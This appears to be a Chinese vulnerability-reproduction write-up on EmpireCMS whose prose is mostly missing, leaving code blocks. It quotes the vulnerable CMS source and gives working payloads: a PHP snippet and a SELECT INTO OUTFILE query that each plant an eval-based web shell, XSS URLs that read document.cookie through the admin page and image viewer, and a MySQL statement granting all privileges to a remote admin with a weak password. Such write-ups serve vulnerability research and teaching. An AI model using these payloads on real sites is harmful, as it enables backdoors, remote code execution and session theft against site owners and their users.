漏洞复现之empirecms漏洞总结

1grant all on *.* to admin@'%' identified by '123456' with grant option;
2
3flush privileges;

1//导入模型
2elseif($enews=="LoadInMod")
3{
4    $file=$_FILES['file']['tmp_name'];
5    $file_name=$_FILES['file']['name'];
6    $file_type=$_FILES['file']['type'];
7    $file_size=$_FILES['file']['size'];
8    LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);

 1//上传文件
 2    $path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
 3    $cp=@move_uploaded_file($file,$path);
 4    if(!$cp)
 5    {
 6        printerror("EmptyLoadInMod","");
 7    }
 8    DoChmodFile($path);
 9    @include($path);
10    UpdateTbDefMod($tid,$tbname,$mid);

 1//取得随机数
 2function make_password($pw_length){
 3    $low_ascii_bound=48;
 4    $upper_ascii_bound=122;
 5    $notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96);
 6    while($i<$pw_length)
 7    {
 8        if(PHP_VERSION<'4.2.0')
 9        {
10            mt_srand((double)microtime()*1000000);
11        }
12        mt_srand();
13        $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
14        if(!in_array($randnum,$notuse))
15        {
16            $password1=$password1.chr($randnum);
17            $i++;
18        }
19    }    
20    return $password1;
21}

1<?php file_put_contents("getshell.php","<?php @eval($_POST[cmd]); ?>");?>

 1//运行SQL语句
 2function ExecSql($id,$userid,$username){
 3    global $empire,$dbtbpre;
 4    $id=(int)$id;
 5    if(empty($id))
 6    {
 7        printerror('EmptyExecSqlid','');
 8    }
 9    $r=$empire->fetch1("select sqltext from {$dbtbpre}enewssql where id='$id'");
10   if(!$r['sqltext'])
11    {
12        printerror('EmptyExecSqlid','');
13    }
14    $query=RepSqlTbpre($r['sqltext']);
15    DoRunQuery($query);
16    //操作日志
17    insert_dolog("query=".$query);
18    printerror("DoExecSqlSuccess","ListSql.php".hReturnEcmsHashStrHref2(1));
19}

1//替换表前缀
2function RepSqlTbpre($sql){
3    global $dbtbpre;
4    $sql=str_replace('[!db.pre!]',$dbtbpre,$sql);
5    return $sql;
6}

 1//运行SQL
 2function DoRunQuery($sql){
 3    global $empire;
 4    $sql=str_replace("r","n",$sql);
 5    $ret=array();
 6    $num=0;
 7    foreach(explode(";n",trim($sql)) as $query)
 8    {
 9        $queries=explode("n",trim($query));
10        foreach($queries as $query)
11        {
12            $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
13        }
14        $num++;
15    }
16    unset($sql);
17    foreach($ret as $query)
18    {
19        $query=trim($query);
20        if($query)
21        {
22            $empire->query($query);
23        }
24    }
25}

1<?php file_put_contents("getshell.php","<?php phpinfo();?>");?>

1select '<?php @eval($_POST[LEOGG])?>' into outfile 
2'C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/Get.php'

1$leftfile=hRepPostStr($_GET['leftfile'],1);
2$mainfile=hRepPostStr($_GET['mainfile'],1);

1function hRepPostStr($val,$ecms=0,$phck=0){    if($phck==1)    {        
2CkPostStrCharYh($val);    }    if($ecms==1)    {        
3$val=ehtmlspecialchars($val,ENT_QUOTES);    }    CkPostStrChar($val);    
4$val=AddAddsData($val);    return $val;}

1function ehtmlspecialchars($val,$flags=ENT_COMPAT){    global $ecms_config;        
2if(PHP_VERSION>='5.4.0')    {        if($ecms_config['sets']['pagechar']=='utf-8')        {                
3$char='UTF-8';        }        else        {            $char='ISO-8859-1';        }        
4$val=htmlspecialchars($val,$flags,$char);    }    else    {        
5$val=htmlspecialchars($val,$flags);    }    return $val;}

1function CkPostStrChar($val){    if(substr($val,-1)=="\")    {        exit();    }}

1function AddAddsData($data){    if(!MAGIC_QUOTES_GPC)    {        $data=addslashes($data);    }    return $data;}

1192.168.10.3/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_3ZvP9=dQ7ordM5PCqKDgSmvkDf&mainfile=javascript:alert(/xss/)

1192.168.10.3/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_3ZvP9=dQ7ordM5PCqKDgSmvkDf&mainfile=javascript:alert(document.cookie)

1if(Request("url")!=0){    document.write("<a title="点击观看完整的图片..." href=""+Request("url")+"" target="_blank"><img src=""+Request("url")+"" border=0 class="picborder" onmousewheel="return bbimg(this)" onload="if(this.width>screen.width-500)this.style.width=screen.width-500;">");    }

1function Request(sName){  /*   get last loc. of ?   right: find first loc. of sName   +2   retrieve value before next &    */    var sURL = new String(window.location);  var iQMark= sURL.lastIndexOf('?');  var iLensName=sName.length;    //retrieve loc. of sName  var iStart = sURL.indexOf('?' + sName +'=') //limitation 1  if (iStart==-1)        {//not found at start        iStart = sURL.indexOf('&' + sName +'=')//limitation 1        if (iStart==-1)           {//not found at end            return 0; //not found           }           }          iStart = iStart + + iLensName + 2;  var iTemp= sURL.indexOf('&',iStart); //next pair start  if (iTemp ==-1)        {//EOF        iTemp=sURL.length;        }    return sURL.slice(iStart,iTemp ) ;  sURL=null;//destroy String}

1http://localhost/upload/e/ViewImg/index.html?url=javascript:alert(document.cookie)